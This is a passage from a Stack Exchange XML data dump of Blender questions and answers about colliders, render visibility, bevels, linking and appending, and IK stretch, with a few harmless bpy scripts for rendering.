  <row Id="23137" PostTypeId="1" AcceptedAnswerId="23141" CreationDate="2015-01-13T15:25:54.933" Score="1" ViewCount="617" Body="&lt;p&gt;I understand how to add a collider to  a single mesh in blender, but... I want to know if it is possible to enlarge said collider. For instance, I have a model of a briefcase but I want the collider to be a bit larger. How do I do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKeHD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, is it possible for me to create a single bounding box and keep a bunch of objects inside? For instance if I have the model of a nightstand could I put a collider around it and also put the lamp, cell phone and any other component within that bounding box?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHaCo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="10958" LastEditorUserId="241" LastEditDate="2015-01-13T15:29:26.160" LastActivityDate="2015-01-13T15:50:29.563" Title="Understanding colliders" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23138" PostTypeId="2" ParentId="23135" CreationDate="2015-01-13T15:35:07.927" Score="3" Body="&lt;p&gt;No, there are &lt;strong&gt;no templates&lt;/strong&gt; so to speak. You can create or buy your own templates though, and bring them into your project using blender &lt;strong&gt;append functionality.&lt;/strong&gt; The blender foundation &lt;a href=&quot;http://www.blender.org/press/18-anticipated-blender-development-projects-of-2015/&quot; rel=&quot;nofollow noreferrer&quot;&gt;announced a project to improve this system&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create your own template library, open new blender file (you won't want other work in here). create a bunch of spheres, and build the materials you want. I recommend naming them carefully, since you will be pulling them by name alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your library, you can link or append the materials, I recommend appened, since it allows you tho change the materials in your .blend, while link you have to change them in the master, and it will affect all the files using that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To appened, go to &lt;em&gt;file&lt;/em&gt; &gt; &lt;em&gt;append&lt;/em&gt; or hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5pB7Lm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and navigate to your .blend with the materials in it. When you click on the .blend, you will see allot of folders. Click on the one called material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gp8XP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see the names of your materials. select the ones you want for your project, and then tweak them to your needs!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="5705" LastEditDate="2015-01-13T15:51:26.813" LastActivityDate="2015-01-13T15:51:26.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23139" PostTypeId="1" CreationDate="2015-01-13T15:43:25.503" Score="5" ViewCount="1023" Body="&lt;p&gt;I am using Blender for some scientific-related visualization. As such I guess my needs are much more modest than those of the average animator, and the decoupling of the visibility and renderability of objects (i.e., the fact I can set some object to rendered although it is not visible in preview) only causes problems for me, when I change what is visible but forget to also set it to be rendered, only to come back 15 minutes later and see that I had rendered the wrong scene. Is there some way to &quot;couple&quot; visibility and renderability, i.e. only whatever is set as visible is also set as renderable?&lt;/p&gt;&#xA;" OwnerUserId="5022" LastActivityDate="2015-01-15T08:58:13.797" Title="Always render the visible objects" Tags="&lt;rendering&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23141" PostTypeId="2" ParentId="23137" CreationDate="2015-01-13T15:50:29.563" Score="3" Body="&lt;p&gt;The easiest way to do this is simple to create an invisible box, parent your objects to it, and then remove your objects from the physics simulation. The box will then do the collisions on their behalf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove you meshes from the phsical simulation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPSiH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Parent your mesh to you box&lt;/li&gt;&#xA;&lt;li&gt;Make your box invisible, and set the simulation to &lt;em&gt;Rigid Body&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FmlgC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T15:50:29.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23142" PostTypeId="1" AcceptedAnswerId="23143" CreationDate="2015-01-13T16:16:54.447" Score="4" ViewCount="387" Body="&lt;p&gt;How can I disable rendering for a large amount of objects quickly using, say a keyboard short cut. I want it to be equivalent to clicking the camera icon in the outliner.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T16:24:51.530" Title="Way to batch hide for render?" Tags="&lt;rendering&gt;&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23143" PostTypeId="2" ParentId="23142" CreationDate="2015-01-13T16:24:51.530" Score="4" Body="&lt;p&gt;Select the mesh, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;. The mesh will still be visible in the viewport, but it will now be hidden in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it is visible in the viewport render still:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ve6dn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I press &lt;kbd&gt;F12&lt;/kbd&gt; and render an image, it is hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fmx9G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for any number of objects, just select them all, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;. Notice also that &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; unhides the selected meshes from the final render.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-13T16:24:51.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23144" PostTypeId="2" ParentId="23136" CreationDate="2015-01-13T16:25:04.713" Score="1" Body="&lt;p&gt;Your scene lack environment lighting, meaning that the shadows will be black, giving your scene that odd look. Furthermore, due to the import-export your materials are not textured. What you need to do is to first, add environment lighting, and then second, add textures/better materials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7BYFj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T16:25:04.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23145" PostTypeId="2" ParentId="23121" CreationDate="2015-01-13T16:28:24.870" Score="7" Body="&lt;p&gt;Following script renders every frame in the timeline &lt;em&gt;if it is a marker assigned to it&lt;/em&gt;. It uses the existing output file path and and the current marker name as output file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LfVmU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# get the scene&#xA;scn = bpy.context.scene&#xA;&#xA;# get the output path&#xA;output_path = scn.render.filepath&#xA;&#xA;# iterate through markers and render&#xA;for k, m in scn.timeline_markers.items():  &#xA;    frame = m.frame&#xA;    marker_name = m.name&#xA;    scn.frame_set(frame)&#xA;    scn.render.filepath = os.path.join(output_path, marker_name + &quot;.jpg&quot;)&#xA;    bpy.ops.render.render( write_still=True )&#xA;&#xA;bpy.context.scene.render.filepath = output_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33818&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;.blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-14T11:35:41.117" LastActivityDate="2015-01-14T11:35:41.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23146" PostTypeId="2" ParentId="23139" CreationDate="2015-01-13T16:28:44.743" Score="3" Body="&lt;p&gt;Here is a simple process to do before rendering:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Deselect all your object &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;H&lt;/kbd&gt; to unhide all the objects&lt;/li&gt;&#xA;&lt;li&gt;Without changing the selection, hit  &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;H&lt;/kbd&gt;, your objects will be hidden&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;H&lt;/kbd&gt; to hide them again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-01-13T16:41:37.520" LastActivityDate="2015-01-13T16:41:37.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23147" PostTypeId="1" AcceptedAnswerId="23148" CreationDate="2015-01-13T16:48:33.067" Score="5" ViewCount="11109" Body="&lt;p&gt;How do I get the console on windows? I opened the python console and it does nothing, and it isn't open on startup.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T16:48:43.950" Title="How do I get the console on windows?" Tags="&lt;interface&gt;&lt;command-line&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23148" PostTypeId="2" ParentId="23147" CreationDate="2015-01-13T16:48:43.950" Score="7" Body="&lt;p&gt;You go to &lt;em&gt;Window&lt;/em&gt;&gt;&lt;em&gt;Console&lt;/em&gt; to open it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NPoxU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T16:48:43.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23149" PostTypeId="1" AcceptedAnswerId="23151" CreationDate="2015-01-13T17:07:29.613" Score="16" ViewCount="3338" Body="&lt;p&gt;I was trying to model a desk and came across a problem, I can't seem to solve.&lt;br&gt;&#xA;I wanted to create a simple bevel.&lt;br&gt;&#xA;I used &lt;code&gt;Mesh &amp;gt; Edges &amp;gt; Bevel&lt;/code&gt; on a selected edge and got this result&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7LpX6.png&quot; alt=&quot;asymmetrical bevel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it not symmetrical? How can I make it symmetrical?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, what I actually wanted: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/GtYnO.png&quot; alt=&quot;symmetrical bevel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10962" LastEditorUserId="78972" LastEditDate="2020-04-10T07:18:21.123" LastActivityDate="2020-04-10T07:18:21.123" Title="Bevel is not symmetrical" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23150" PostTypeId="2" ParentId="23139" CreationDate="2015-01-13T17:27:14.647" Score="2" Body="&lt;p&gt;For better scene organization I suggest you to use the new layer management addon. With this you can simply disable a layer if you don't want to render it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0DBs5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-01-13T17:27:14.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23151" PostTypeId="2" ParentId="23149" CreationDate="2015-01-13T17:45:00.187" Score="21" Body="&lt;p&gt;It seems your object has non-uniform scale.  Apply the scale of the object with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;scale&lt;/em&gt; to fix this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beveling with non-uniform scale:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xOFxo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying the scale:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zrac1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beveling after applying scale:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/00odE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you scale an object in object mode, it is not really &quot;applied&quot; to the object's geometry.  I like to think of scaling as a modifier that is always last in the stack, whatever you do in edit mode (or most other places) is as if it was done &lt;em&gt;before&lt;/em&gt; the object was scaled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://blender.stackexchange.com/questions/7298/why-is-it-important-to-apply-transformation&quot;&gt;this question&lt;/a&gt; for more uses of applying scale.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-01-13T18:04:41.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23152" PostTypeId="1" CreationDate="2015-01-13T18:27:54.983" Score="5" ViewCount="679" Body="&lt;p&gt;In a &quot;Curve&quot; object that contains several non-continuous curves, is there an add-on to join overlapping segments together, like remove doubles does in mesh editing?&#xA;Explanation: merge two non-continuous segments with two control points in the same place so they become one unique segment!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this solution: I move one control point, then select the second contol point and press &lt;kbd&gt;F&lt;/kbd&gt; to create a new segment that connects the two together. Then I remove the previously moved control point with &lt;kbd&gt;X&lt;/kbd&gt; and both segments become one unique segment!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add a new add-on with this process, but I want to know if this command already exists.&lt;/p&gt;&#xA;" OwnerUserId="646" LastEditorDisplayName="user1853" LastEditDate="2015-01-13T20:48:24.270" LastActivityDate="2018-12-18T21:39:20.130" Title="Curve tools: is there an add-on to join overlapping curves?" Tags="&lt;bezier-curves&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23153" PostTypeId="1" AcceptedAnswerId="23156" CreationDate="2015-01-13T18:35:48.563" Score="7" ViewCount="3891" Body="&lt;p&gt;What is the differance between Linked and Appended data from external .blend files?&lt;/p&gt;&#xA;" OwnerUserId="10935" LastActivityDate="2015-01-13T18:46:38.273" Title="What is the differance between Linking and Appending an external blend?" Tags="&lt;blend-files&gt;&lt;linked-data&gt;&lt;append&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23154" PostTypeId="1" CreationDate="2015-01-13T18:39:09.093" Score="14" ViewCount="12100" Body="&lt;p&gt;I have 4 cameras in different positions but all of them point to the center of the scene. What I want is to combine all the renders, like film taken from different cameras, combined in one, image from different angles? Is it possible to render all of them at once and combine the render result into one image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSsa9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8396" LastEditorUserId="3078" LastEditDate="2015-01-13T22:55:11.993" LastActivityDate="2018-02-22T11:02:45.427" Title="How to combine renders from multiple cameras" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23155" PostTypeId="2" ParentId="23153" CreationDate="2015-01-13T18:40:26.287" Score="7" Body="&lt;p&gt;&lt;strong&gt;Appended&lt;/strong&gt; data is just copied into a blend file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linked data&lt;/strong&gt; will continue to update if the original data is updated. For example, if you link a red material from blend 1 into blend 2 the material will appear red. If you then update the original material in blend 1 to be blue (and then save blend 1) the material will also appear to be blue in blend 2 (once blend 2 is reloaded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linking allows organisation when creating complex scenes. Instead of modelling many props, rigging characters, and then animating in a single file, which might become complex, you can split your project into separate files and then link them together to render.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-13T18:46:38.273" LastActivityDate="2015-01-13T18:46:38.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23156" PostTypeId="2" ParentId="23153" CreationDate="2015-01-13T18:41:33.887" Score="13" Body="&lt;p&gt;The difference is simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Link:&lt;/strong&gt; Link copies the object from the blend file, much like &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; does for meshes. When it is pulled in, the mesh/material whatever cannot be edited in the file. Changes in the original file will cross apply to it every where. This is useful for production assets which need to be the same in ever shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Append:&lt;/strong&gt;&#xA;The object will be copied into the new file, there will be no link, much like importing an &lt;code&gt;.obj&lt;/code&gt; or &lt;code&gt;.fbx&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-13T18:41:33.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23157" PostTypeId="2" ParentId="20894" CreationDate="2015-01-13T20:22:19.740" Score="0" Body="&lt;p&gt;I will add an answer here that I have mentioned in a previous issue that I can no longer find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you do is convert your hair system, under the modifier panel. This will convert your hair to a mesh of only edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you apply the &quot;screw&quot; modifier. Set the &lt;strong&gt;axis&lt;/strong&gt; to &lt;em&gt;Z Axis&lt;/em&gt;, &lt;strong&gt;angle&lt;/strong&gt; to &lt;em&gt;2 degrees&lt;/em&gt;. Set the &lt;strong&gt;steps&lt;/strong&gt; to 2 and &lt;strong&gt;render steps&lt;/strong&gt; to 2 by typing it in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can mess with the axis options, and even AxisOb (axis object) to tweat the way everything is extruded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you just export the mesh hair to THREE.js like any other mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-01-13T20:22:19.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23158" PostTypeId="2" ParentId="23131" CreationDate="2015-01-13T21:05:47.297" Score="2" Body="&lt;p&gt;No. This is still not possible as of 2.73. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://blender.45788.x6.nabble.com/Why-can-t-blender-delete-directories-td121668.html&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; on the bf-comitters mailing list for some discussion on why this is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, the required capability was &lt;a href=&quot;https://developer.blender.org/rB414c70435dcd52eb67df59f56132837de0a63b64&quot; rel=&quot;nofollow&quot;&gt;recently added&lt;/a&gt; to blender's internal delete function, so AFAIK it's more or less a matter of creating a higher level recursive delete operator. Perhaps It'll be here soon.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-13T21:05:47.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23159" PostTypeId="1" AcceptedAnswerId="28054" CreationDate="2015-01-13T21:21:22.217" Score="15" ViewCount="2835" Body="&lt;p&gt;I often want to find files which I've modified recently, so I'd like to set the file manager to sort by modification date automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2017-02-18T23:36:07.413" Title="How to make the file manager default to sorting by modification date?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;file-browser&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23162" PostTypeId="1" AcceptedAnswerId="23177" CreationDate="2015-01-13T21:51:47.797" Score="1" ViewCount="2913" Body="&lt;p&gt;I have a short IK chain with an IK constraint with stretch enabled.  The bones in the chain each have their Inverse Kinematics Stretch set to 0.001.  Here's a simple demo setup...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RgVws.png&quot; alt=&quot;Simple IK setup w/ a 3 bone chain and a target bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the Control bone around within reach of the IK chain seems to work fine.  E.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u8av3.png&quot; alt=&quot;IK constraint doing its job&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I cause the stretch to take effect by moving the target out of reach of the IK chain, the chain stretches and scales in all 3 dimensions causing the mesh to expand.  Note the size of the mesh and IK chain bones relative to the target as compared with the other images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QucOg.png&quot; alt=&quot;Entire object inflates instead of just stretching&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to only have this stretch along the Y axes of the bones?  I.e. I want the bones and mesh to elongate but not swell.  I have tried various other settings, including locking X and Z scaling on the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can grab a .blend file of the sample setup at &lt;a href=&quot;http://readyposition.com/Blender/IKStretchExperiment.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://readyposition.com/Blender/IKStretchExperiment.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-14T12:43:05.377" Title="Can I get an IK constraint w/ stretch to only scale bones on their Y axes?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23163" PostTypeId="2" ParentId="21398" CreationDate="2015-01-13T22:13:53.243" Score="1" Body="&lt;p&gt;In a scene with an animated plane (along x-axis), and a Cube with a driver added to z-rotation the following python snippet produces the same value as the default &lt;code&gt;var&lt;/code&gt; in the driver. Where the evaluate function takes the frame as parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for fcurve in bpy.data.objects['Cube'].animation_data.drivers:&#xA;    print(fcurve.evaluate(54))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UNlCb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-13T22:13:53.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23164" PostTypeId="2" ParentId="19042" CreationDate="2015-01-13T22:33:38.947" Score="1" Body="&lt;p&gt;No, you don't need to add extra bones. You may need to rearrange some of the existing bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, when something doesn't work like real life, the best thing you can do is try to mimic real life.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture I drew, with proper weights on the leg and a diagram of how the real bone structure is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oVGIo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how the effects of the leg bone has are very little on the glutes. This will help with crouching as the but won't have to stretch out in order to reach a full squat. Above the hip joint there should be little to no weight, except a little on the abdominal muscles, which need to suck in a little in order for the leg to not collide with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this should solve most of your problems; it always works for me.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-13T22:33:38.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23166" PostTypeId="2" ParentId="23139" CreationDate="2015-01-13T23:13:21.767" Score="4" Body="&lt;p&gt;You could also do this with Python! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so you could run the following  code, manually, before rendering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.data.objects:&#xA;    obj.hide_render = obj.hide&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A better solution would be to somehow run the code automagically before rendering, which can be  done as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def unhide(self):&#xA;     for obj in bpy.data.objects:&#xA;          obj.hide_render = obj.hide&#xA;&#xA;bpy.app.handlers.render_pre.append(unhide)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make the script run every time you open up the blend file, name your text block with a &lt;code&gt;.py&lt;/code&gt; extension and check &lt;code&gt;Register&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you must run the script once; &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3710" LastEditDate="2015-01-15T08:58:13.797" LastActivityDate="2015-01-15T08:58:13.797" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23167" PostTypeId="1" AcceptedAnswerId="23168" CreationDate="2015-01-13T23:35:27.203" Score="7" ViewCount="1008" Body="&lt;p&gt;After answering the question &lt;a href=&quot;https://blender.stackexchange.com/questions/23139/always-render-the-visible-objects&quot;&gt;Always render the visible objects&lt;/a&gt; I realized that,  rather than running the script manually, it would be easier to have it run automagically, &lt;em&gt;once&lt;/em&gt;, before rendering (that includes the &lt;code&gt;building BVH&lt;/code&gt; phase),  however,  I couldn't find a way to do this.  How would that be done? &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-01-14T20:06:05.133" Title="How to run a script before rendering" Tags="&lt;python&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23168" PostTypeId="2" ParentId="23167" CreationDate="2015-01-14T00:22:00.030" Score="7" Body="&lt;p&gt;You should be able to do this be adding a function to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.app.handlers.render_pre.append(function_name)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way whatever function you name will be called before the render happens. Here is a little info on it: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bpy.app.handlers.html#bpy.app.handlers.render_pre&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your function takes &lt;code&gt;self&lt;/code&gt; as a parameter, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;function_name(self):&#xA;    print(&quot;Test&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="3078" LastEditDate="2015-01-14T20:06:05.133" LastActivityDate="2015-01-14T20:06:05.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23169" PostTypeId="1" CreationDate="2015-01-14T00:47:18.580" Score="8" ViewCount="3475" Body="&lt;p&gt;So I have an image of a map which I would like to use to paint vertex groups (for terrain feature particle systems) on certain areas of an object (a sphere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have mapped the map onto the sphere.  But even if I am in material or textured view, when I go into weight paint mode the object turns blue so I can not see the map so I don't know where to paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next idea was to have a second, slightly larger sphere (in the exact same place) with a semi-transparent material of the map on it such that I could see the map on the large sphere and the weights underneath on the sphere I am weight-paining.  But it seems that material view does not show cycles transparent shaders. so the transparency on the large sphere shows up as opaque white and I can not see the weights on the sphere underneath that I am painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to do this?  Either by showing 